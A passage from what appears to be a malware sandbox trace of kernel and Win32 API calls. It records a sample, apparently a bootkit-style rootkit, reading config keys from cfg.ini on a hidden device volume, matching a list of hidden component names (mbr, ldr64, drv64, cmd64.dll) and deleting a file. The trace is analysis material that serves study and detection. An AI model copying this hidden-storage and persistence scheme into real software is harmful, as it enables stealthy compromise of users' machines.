Event=0xfffff880028b25d0) [0120.382] IdePortDispatch () returned 0x103 [0120.382] KeWaitForMutexObject () returned 0x0 [0120.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.382] KeLeaveCriticalRegion () [0120.382] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.382] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.383] KeEnterCriticalRegion () [0120.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.383] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.383] KeLeaveCriticalRegion () [0120.383] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.383] KeEnterCriticalRegion () [0120.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.383] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.383] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc27b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.383] KeLeaveCriticalRegion () [0120.383] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.383] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.383] KeEnterCriticalRegion () [0120.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.383] ExFreePoolWithTag (P=0xfffffa8003bbc280, Tag=0x0) [0120.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.383] KeLeaveCriticalRegion () [0120.383] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.383] ReleaseMutex (hMutex=0xf0) returned 1 [0120.383] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.383] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.383] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.383] KeEnterCriticalRegion () [0120.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.383] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.383] IdePortDispatch () returned 0x103 [0120.383] KeWaitForMutexObject () returned 0x0 [0120.384] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.384] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.384] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.384] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.384] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.384] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2340 [0120.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.384] KeLeaveCriticalRegion () [0120.384] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.384] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.384] KeEnterCriticalRegion () [0120.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.384] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.384] KeLeaveCriticalRegion () [0120.384] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.384] KeEnterCriticalRegion () [0120.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.384] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.384] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.384] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.384] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.384] IdePortDispatch () returned 0x103 [0120.384] KeWaitForMutexObject () returned 0x0 [0120.384] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.385] KeLeaveCriticalRegion () [0120.385] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.385] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.385] KeEnterCriticalRegion () [0120.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.385] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003456000 [0120.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.385] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.385] IdePortDispatch () returned 0x103 [0120.385] KeWaitForMutexObject () returned 0x0 [0120.385] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.385] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.385] IdePortDispatch () returned 0x103 [0120.385] KeWaitForMutexObject () returned 0x0 [0120.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.385] KeLeaveCriticalRegion () [0120.385] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.386] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.386] KeEnterCriticalRegion () [0120.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.386] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.386] KeLeaveCriticalRegion () [0120.386] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.386] KeEnterCriticalRegion () [0120.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.386] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.386] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.386] KeLeaveCriticalRegion () [0120.386] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.386] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.386] KeEnterCriticalRegion () [0120.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.386] ExFreePoolWithTag (P=0xfffffa8003bc2340, Tag=0x0) [0120.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.386] KeLeaveCriticalRegion () [0120.386] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.386] ReleaseMutex (hMutex=0xf0) returned 1 [0120.386] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.386] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.386] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.386] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.386] KeEnterCriticalRegion () [0120.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.386] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.386] IdePortDispatch () returned 0x103 [0120.386] KeWaitForMutexObject () returned 0x0 [0120.387] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.387] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.387] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.387] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.387] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.387] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.387] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.387] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.387] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.387] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.387] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.387] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.387] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.387] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.387] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.387] KeLeaveCriticalRegion () [0120.387] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.387] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.387] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.387] KeEnterCriticalRegion () [0120.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.387] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.387] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.387] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.387] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.387] IdePortDispatch () returned 0x103 [0120.387] KeWaitForMutexObject () returned 0x0 [0120.387] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.387] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.387] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.387] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.387] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.387] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.388] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.388] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.388] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.388] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.388] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.388] KeLeaveCriticalRegion () [0120.388] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.388] ReleaseMutex (hMutex=0x100) returned 1 [0120.388] Sleep (dwMilliseconds=0x2bf20) [0120.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6af5cc10, dwHighDateTime=0x1d24fa4)) [0120.395] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.395] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.395] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.395] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.395] KeEnterCriticalRegion () [0120.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.395] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.395] IdePortDispatch () returned 0x103 [0120.395] KeWaitForMutexObject () returned 0x0 [0120.395] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.395] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.395] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.395] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.395] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.395] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc280 [0120.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.395] KeLeaveCriticalRegion () [0120.395] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.395] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.396] KeEnterCriticalRegion () [0120.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.396] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.396] KeLeaveCriticalRegion () [0120.396] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.396] KeEnterCriticalRegion () [0120.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.396] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.396] IdePortDispatch () returned 0x103 [0120.396] KeWaitForMutexObject () returned 0x0 [0120.396] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.396] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.396] KeLeaveCriticalRegion () [0120.396] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.396] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.396] KeEnterCriticalRegion () [0120.396] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.396] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345d000 [0120.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.396] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.396] IdePortDispatch () returned 0x103 [0120.396] KeWaitForMutexObject () returned 0x0 [0120.396] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.397] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.397] IdePortDispatch () returned 0x103 [0120.397] KeWaitForMutexObject () returned 0x0 [0120.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.397] KeLeaveCriticalRegion () [0120.397] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.397] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.397] KeEnterCriticalRegion () [0120.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.397] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.397] KeLeaveCriticalRegion () [0120.397] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.397] KeEnterCriticalRegion () [0120.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.397] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.397] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc400, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.398] KeLeaveCriticalRegion () [0120.398] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.398] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.398] KeEnterCriticalRegion () [0120.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.398] ExFreePoolWithTag (P=0xfffffa8003bbc280, Tag=0x0) [0120.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.398] KeLeaveCriticalRegion () [0120.398] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.398] ReleaseMutex (hMutex=0xf0) returned 1 [0120.398] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.398] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.398] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.398] KeEnterCriticalRegion () [0120.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.398] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.398] IdePortDispatch () returned 0x103 [0120.398] KeWaitForMutexObject () returned 0x0 [0120.398] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.398] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.398] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.398] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.398] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.398] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2340 [0120.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.398] KeLeaveCriticalRegion () [0120.398] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.398] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.398] KeEnterCriticalRegion () [0120.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.398] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.398] ExReleaseFastMutexUnsafe 